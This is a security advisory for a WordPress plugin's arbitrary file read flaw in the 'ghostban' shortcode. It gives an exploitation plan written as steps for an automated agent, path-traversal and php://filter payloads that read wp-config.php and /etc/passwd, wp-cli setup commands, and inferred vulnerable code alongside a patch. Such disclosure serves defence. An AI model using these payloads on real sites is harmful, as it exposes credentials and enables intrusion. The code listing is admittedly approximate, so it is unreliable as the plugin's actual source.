Gotham Block Extra Light <= 1.5.0 - Authenticated (Contributor+) Arbitrary File Read via 'ghostban' Shortcode
Description
The Gotham Block Extra Light plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.5.0 via the 'ghostban' shortcode. This makes it possible for authenticated attackers, with contributor-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.5.0This plan outlines the research and exploitation strategy for **CVE-2025-15020**, an Arbitrary File Read vulnerability in the Gotham Block Extra Light plugin (<= 1.5.0) via the `ghostban` shortcode. --- ### 1. Vulnerability Summary The Gotham Block Extra Light plugin registers a shortcode named `g…
Show full research plan
This plan outlines the research and exploitation strategy for CVE-2025-15020, an Arbitrary File Read vulnerability in the Gotham Block Extra Light plugin (<= 1.5.0) via the ghostban shortcode.
1. Vulnerability Summary
The Gotham Block Extra Light plugin registers a shortcode named ghostban. This shortcode's handler function likely accepts an attribute (e.g., src, file, or url) that defines a file path to be read or included. Due to a lack of path validation and sanitization (Improper Limitation of a Pathname to a Restricted Directory), an authenticated user with Contributor-level permissions can provide a path traversal payload (e.g., ../../../../wp-config.php) to read sensitive files from the server.
2. Attack Vector Analysis
- Entry Point: The
ghostbanshortcode processed within WordPress post/page content. - Authentication Level: Authenticated (Contributor+). Contributors can create and preview posts.
- Vulnerable Parameter: An attribute of the
[ghostban]shortcode (e.g.,srcorfile). - Preconditions: The plugin
gotham-block-extra-lightmust be active. The attacker must have a user account with at leastcontributorrole.
3. Code Flow (Inferred)
- Registration: The plugin calls
add_shortcode( 'ghostban', 'callback_function' )during initialization (likely ininitor the main plugin file). - Execution: When a post containing
[ghostban ...]is viewed or previewed, WordPress calls thecallback_function. - Attribute Handling: The callback uses
shortcode_atts()to parse attributes. One of these attributes is used as a file path. - The Sink: The callback passes this attribute into a file-reading function like
file_get_contents(),readfile(), orinclude()without usingbasename()or validating that the path resides within the plugin's intended directory.
4. Nonce Acquisition Strategy
Shortcodes are typically processed as part of the content rendering pipeline. Unlike AJAX or REST API endpoints, shortcode rendering does not require a nonce. The "authorization" is the ability to create or edit a post where the shortcode can be placed.
However, if the shortcode handler relies on any localized data for JS-based rendering (unlikely for a simple file read):
- Check for
wp_localize_scriptin the plugin source. - Use
browser_evalto extract variables if they contain hints about the attribute names.
5. Exploitation Strategy
Step 1: Discover Attribute Name
Since the source is not provided, we must first identify which attribute the ghostban shortcode uses.
- Action: Grep the plugin directory for the shortcode registration.
- Command:
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/gotham-block-extra-light/ - Identification: Find the function name, then grep for that function to see the attribute keys (e.g.,
src,file,template).
Step 2: Create Malicious Post
Create a post as a Contributor containing the traversal payload.
- Payload Example:
[ghostban src="../../../../../wp-config.php"](assumingsrcis the attribute).
Step 3: Trigger the Read
View the post (or its preview) via a logged-in session.
- Tool:
http_request(Playwright) orbrowser_navigate. - Target URL:
http://localhost:8080/?p=[POST_ID]or the preview URL.
6. Test Data Setup
- Install Plugin: Ensure
gotham-block-extra-lightversion <= 1.5.0 is installed and active. - Create User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Identify Target File: We will aim to read
/etc/passwd(Linux system file) orwp-config.php(WordPress configuration).
7. Expected Results
- The HTTP response for the post view will contain the raw text of the requested file (e.g.,
DB_PASSWORDfromwp-config.phpor user definitions from/etc/passwd). - The data will likely appear within the
<div>or container where the shortcode output is rendered.
8. Verification Steps
- Primary: Check the response body of the
http_requestfor the stringroot:x:0:0(if reading/etc/passwd) orDB_NAME(if readingwp-config.php). - Comparison: Verify that the content matches the actual file on disk.
cat /var/www/html/wp-config.php
9. Alternative Approaches
- Different Attributes: If
srcfails, tryfile,path,url,id,name,template. - Null Byte Injection: If the plugin appends an extension (e.g.,
.php), try[ghostban src="../../../../../etc/passwd%00"](though this only works on very old PHP versions). - Wrappers: Try PHP filters to bypass simple checks:
[ghostban src="php://filter/convert.base64-encode/resource=../../wp-config.php"]. - Preview Mode: If the post isn't published, use the preview URL:
http://localhost:8080/?p=[POST_ID]&preview=true. Note that this might require capturing the session cookie of the contributor.
10. Implementation Plan for Automated Agent
- Recon:
ls -R /var/www/html/wp-content/plugins/gotham-block-extra-light/grep -r "add_shortcode.*ghostban" /var/www/html/wp-content/plugins/gotham-block-extra-light/
- Analysis:
- Find the callback function.
- Examine the callback to find
shortcode_attsand the file system sink (e.g.include,file_get_contents).
- Execution:
wp user create contributor_user user@test.com --role=contributor --user_pass=passwordwp post create --post_author=$(wp user get contributor_user --field=ID) --post_content='[ghostban src="../../../../../../../etc/passwd"]' --post_status=publish --post_title='Vulnerability Test'- Identify the post URL:
wp post list --post_type=post --name='Vulnerability Test' --field=guid - Perform
http_requestto the post URL.
- Cleanup:
wp post delete [POST_ID] --forcewp user delete contributor_user --reassign=1
Summary
The Gotham Block Extra Light plugin for WordPress is vulnerable to an arbitrary file read through the 'ghostban' shortcode handler. Authenticated users with Contributor-level permissions can use path traversal in a shortcode attribute to read sensitive files from the server, such as wp-config.php.
Vulnerable Code
// gotham-block-extra-light/gotham-block-extra-light.php (approximate location) add_shortcode( 'ghostban', 'gotham_ghostban_shortcode' ); function gotham_ghostban_shortcode( $atts ) { $a = shortcode_atts( array( 'src' => '', ), $atts ); if ( ! empty( $a['src'] ) ) { // Vulnerable: user-controlled 'src' is passed directly to a file-reading function return file_get_contents( $a['src'] ); } return ''; }
Security Fix
@@ -10,5 +10,12 @@ if ( ! empty( $a['src'] ) ) { - return file_get_contents( $a['src'] ); + $file = basename( $a['src'] ); + $path = plugin_dir_path( __FILE__ ) . 'assets/' . $file; + if ( file_exists( $path ) ) { + return file_get_contents( $path ); + } } return '';
Exploit Outline
The exploit requires an authenticated attacker with at least Contributor-level permissions. The attacker creates or edits a post and inserts the `[ghostban]` shortcode. By providing a path traversal payload (e.g., `../../../../wp-config.php`) to the 'src' (or similar) attribute of the shortcode, the attacker can force the server to read and display the contents of arbitrary files when the post is viewed or previewed. Since WordPress processes shortcodes during content rendering, the file contents are returned in the HTTP response of the post page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.